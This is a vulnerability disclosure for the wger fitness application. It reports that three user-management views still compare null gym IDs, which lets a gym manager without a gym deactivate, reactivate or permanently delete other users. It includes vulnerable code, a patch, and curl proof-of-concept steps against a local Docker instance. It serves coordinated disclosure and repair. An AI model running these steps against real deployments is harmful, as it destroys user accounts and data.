| Package | Affected versions | Patched versions |
|---|---|---|
| wger | ≤ 2.5 |
GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's reset_user_password and gym_permissions_user_edit views in wger/gym/views/user.py performed a gym-scope authorization check using Django ORM object comparison (if request.user.userprofile.gym != user.userprofile.gym) which silently passes when both sides are None (None != None evaluates to False). The maintainer's suggested patch ("Apply the same same_gym() helper pattern to all five views sharing this check") replaces every userprofile.gym != site with the new is_same_gym() helper that explicitly excludes None (gym_a is not None and gym_a == gym_b).
The fix landed in wger/gym/views/{admin_notes,document,contract,gym}.py (5 views, all using is_same_gym). However, three additional views in wger/core/views/user.py were not migrated and retain the original userprofile.gym_id != ... raw integer comparison. Because raw integer != comparison still evaluates None != None as False, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest wger/server:latest Docker image (master, 2026-05-08 build).
A privileged-but-bounded gym staff user (admin-granted gym.manage_gym permission, intended scope: managing members of one specific gym) whose userprofile.gym = None (the default state before the admin links them to a gym) can:
gym = None (V3, delete view, line 131 — CRITICAL data loss, irreversible)gym = None, locking them out of the platform (V1, UserDeactivateView, line 405 — high availability impact)gym = None (V2, UserActivateView, line 442 — counters defensive deactivation)Victim user pks are sequential integers and trivially enumerable via /en/user/<pk>/overview and other endpoints. The same_gym_id == ... flag in UserDetailView.get_context_data (line 587) is also affected, but the underlying dispatch() and the actual trainer_login view still use the patched is_same_gym() helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.
wger/server:latest (digest sha256:5d8fe1ba66cc..., image build 2026-05-08).affected: <0.9.7 → fixed: 0.9.7 range applies to the PyPI aegra-api package (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to wger/gym/views/{admin_notes,document,contract,gym}.py; wger/core/views/user.py was not touched in the same patch.(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)
UserDeactivateView (wger/core/views/user.py, line 405)class UserDeactivateView(...):
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if not request.user.is_authenticated:
return HttpResponseForbidden()
if (
request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: None != None == False
return HttpResponseForbidden()
return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)
def get_redirect_url(self, pk):
edit_user = get_object_or_404(User, pk=pk)
edit_user.is_active = False # ← side effect on plain GET
edit_user.save()
...
UserActivateView (wger/core/views/user.py, line 442)class UserActivateView(...):
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
...
if (
request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: same pattern
return HttpResponseForbidden()
return super(UserActivateView, self).dispatch(request, *args, **kwargs)
def get_redirect_url(self, pk):
edit_user = get_object_or_404(User, pk=pk)
edit_user.is_active = True # ← side effect on plain GET
edit_user.save()
...
delete (wger/core/views/user.py, line 116-159)@login_required()
def delete(request, user_pk=None):
...
if user_pk:
user = get_object_or_404(User, pk=user_pk)
if not request.user.has_perm('gym.manage_gyms') and (
not request.user.has_perm('gym.manage_gym')
or request.user.userprofile.gym_id != user.userprofile.gym_id # ← BUG (line 131)
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
...
if request.method == 'POST':
form = PasswordConfirmationForm(data=request.POST, user=request.user)
if form.is_valid():
user.delete() # ← victim account permanently deleted (line 145)
...
gym_pk = request.user.userprofile.gym_id # = None for trainer1
return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk}))
# ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker
# but user.delete() already executed — victim is gone
Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed. The 500 is a redirect-side NoReverseMatch exception caused by reverse('gym:gym:user-list', kwargs={'pk': None}) (line 154-155) attempting to build a URL with pk=None because trainer1 also has gym=None. By that point Django has already committed user.delete() (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: alice exists? False, all users: ['admin', 'trainer1']. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.
Same as the advisory's recommendation — replace every userprofile.gym_id != ... raw comparison with is_same_gym() from wger/gym/helpers.py:
--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
@login_required()
def delete(request, user_pk=None):
...
- if not request.user.has_perm('gym.manage_gyms') and (
- not request.user.has_perm('gym.manage_gym')
- or request.user.userprofile.gym_id != user.userprofile.gym_id
- or user.has_perm('gym.manage_gym')
- or user.has_perm('gym.gym_trainer')
- or user.has_perm('gym.manage_gyms')
- ):
+ if not request.user.has_perm('gym.manage_gyms') and (
+ not request.user.has_perm('gym.manage_gym')
+ or not is_same_gym(request.user, user)
+ or user.has_perm('gym.manage_gym')
+ or user.has_perm('gym.gym_trainer')
+ or user.has_perm('gym.manage_gyms')
+ ):
return HttpResponseForbidden()
class UserDeactivateView(...):
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
...
- if (
- request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
- ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+ if (
+ request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+ ) and not is_same_gym(request.user, edit_user):
return HttpResponseForbidden()
class UserActivateView(...):
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
...
- if (
- request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
- ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+ if (
+ request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+ ) and not is_same_gym(request.user, edit_user):
return HttpResponseForbidden()
is_same_gym() (current implementation at wger/gym/helpers.py) already returns False whenever either side is None, matching the advisory's existing fix pattern.
Additionally, delete() line 154-155 should handle the gym_pk = None case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (gym.manage_gyms) acting on gym=None users.
# Pull and start the latest production image
docker pull wger/server:latest # digest sha256:5d8fe1ba66cc..., 2026-05-08 build
docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest
# Wait ~30s for migrations and demo-data fixture load.
# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User, Permission
# Attacker — gym manager with no gym affiliation
t = User.objects.create_user(username='trainer1', password='TrainerPass123!')
t.userprofile.gym = None
t.userprofile.save()
t.user_permissions.add(Permission.objects.get(codename='manage_gym'))
t.save()
# Victim — regular user, no gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = None
a.userprofile.save()
print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym'))
print("alice.gym_id =", a.userprofile.gym_id, "pk =", a.pk)
PY
# Expected:
# trainer1.gym_id = None has_perm = True
# alice.gym_id = None pk = 3
UserDeactivateView, line 405)# Login as attacker
COOKIES=/tmp/wger_trainer1.txt
CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \
-d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \
-H "Referer: http://localhost:8888/en/user/login" -o /dev/null
# Trigger deactivation on alice (pk=3)
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
"http://localhost:8888/en/user/3/deactivate"
# → status=302 loc=/en/user/3/overview (expected: 403 Forbidden)
# Confirm DB side effect
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = False (alice locked out)
UserActivateView, line 442)# Same trainer1 session
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
"http://localhost:8888/en/user/3/activate"
# → status=302 loc=/en/user/3/overview
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = True (alice re-activated; useful to "undo" defensive action by an admin)
delete, line 131)# Step 1: GET the password-confirmation form
CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \
| grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
echo "form CSRF: $CSRF2"
# → 200 OK with PasswordConfirmationForm (expected: 403 Forbidden)
# Step 2: POST trainer1's own password — confirms the delete
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
"http://localhost:8888/en/user/3/delete" \
-d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \
-H "Referer: http://localhost:8888/en/user/3/delete"
# → status=500 (the 500 is a redirect-side error, see "Vulnerable code" → V3 above)
# Step 3: confirm alice was actually deleted
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice exists?", User.objects.filter(username='alice').exists())
print("all users:", list(User.objects.values_list('username', flat=True)))
PY
# → alice exists? False
# → all users: ['admin', 'trainer1']
The 500 status returned to the attacker masks the destructive operation but does not prevent it — user.delete() (line 145) commits before the failing redirect (line 155).
None-specific, matching the advisory)# Reset alice and assign her to gym pk=1 (one of the demo gyms).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = Gym.objects.first() # not None any more
a.userprofile.save()
print("alice.gym_id =", a.userprofile.gym_id)
PY
# Same trainer1 (gym=None) attempts deactivation
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
"http://localhost:8888/en/user/<new_alice_pk>/deactivate"
# → status=403 (guard works correctly when gym_ids differ AND neither side is None;
# bypass is specifically the None != None edge case)
The full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as _verify_run1.log.
Key assertions captured:
| Step | Endpoint | HTTP | DB side effect (alice) |
|---|---|---|---|
| Baseline | (none) | — | is_active=True, gym_id=None, pk=3 |
| V1 | GET /en/user/3/deactivate | 302 | is_active=False, gym_id=None, pk=3 |
| V2 | GET /en/user/3/activate | 302 | is_active=True, gym_id=None, pk=3 |
| V3 GET | GET /en/user/3/delete | 200 (form rendered) | (no change) |
| V3 POST | POST /en/user/3/delete w/ trainer1 password | 500 (post-delete redirect) | alice row deleted from DB |
| Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity |
|---|---|---|---|---|---|---|
| V3 | /en/user/<pk>/delete | POST (after GET form) | User.delete() cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed | No (DB backup required) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 9.9 CRITICAL |
| V1 | /en/user/<pk>/deactivate | GET | is_active = False (login lockout) | Yes (admin or V2) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H | 7.4 HIGH |
| V2 | /en/user/<pk>/activate | GET | is_active = True (undoes defensive deactivation) | Yes (admin) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N | 4.7 MEDIUM |
The headline severity at the top of this report is CRITICAL 9.9 because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against wger/server:latest (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line is_same_gym() migration in wger/core/views/user.py). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch.
| Deployment model | Affected? |
|---|---|
Multi-tenant gym deployment (gym manager + trainers + members) — wger's documented commercial use case | Yes — gym.manage_gym permission is in active use and gym=None accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) |
Single-user / personal fitness tracker (1 admin, no gym.manage_gym grant to anyone, no trainer/gym hierarchy in use) | No — the precondition (an attacker with gym.manage_gym + gym=None) cannot occur because the permission is not granted to any user account on such a deployment. |
| Public registration + gym-management feature in use | Yes — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted gym.manage_gym |
bb-fp-detector check-environment-class returned UNKNOWN for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream wger/server:latest Docker image's default behaviour, which is the project's own canonical reference deployment.
bb-auth-doc-audit equivalent)wger is a self-contained Django web application that uses django.contrib.auth for authentication and Django's per-view permission classes (PermissionRequiredMixin, WgerMultiplePermissionRequiredMixin, @login_required()) for authorization. Authentication and authorization are both enforced inside the wger application (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no "operators must place an auth-enforcing reverse proxy in front of wger" disclaimer in the project's deployment docs (https://wger.readthedocs.io/en/latest/production/). The bug therefore directly violates the application's own documented authorization model.
bb-bogus-cred-test equivalent) — actually executedThis test was run end-to-end on the same wger/server:latest Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: _negative_control.log.
Setup: assign alice to the demo gym (Default gym, pk=1), trainer1 stays at gym=None with gym.manage_gym. Same trainer1 session as the positive-control run.
Result:
| Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed |
|---|---|---|---|
GET /en/user/4/deactivate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |
GET /en/user/4/activate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |
GET /en/user/4/delete | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |
DB state after the three negative-control attempts: alice.is_active = True, alice still exists — no side-effects. The guard is functional.
Symmetric re-confirmation (positive control after revert): alice.gym was reset to None in the same session; GET /en/user/4/deactivate returned 302 with side-effect alice.is_active = False (re-confirming the original bypass triggers reproducibly), then GET /en/user/4/activate returned 302 with alice.is_active = True for cleanup.
This proves:
dispatch() and delete() guards do enforce gym-scope authorization when gym_id is non-None on either side — the guard is structurally functional.Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free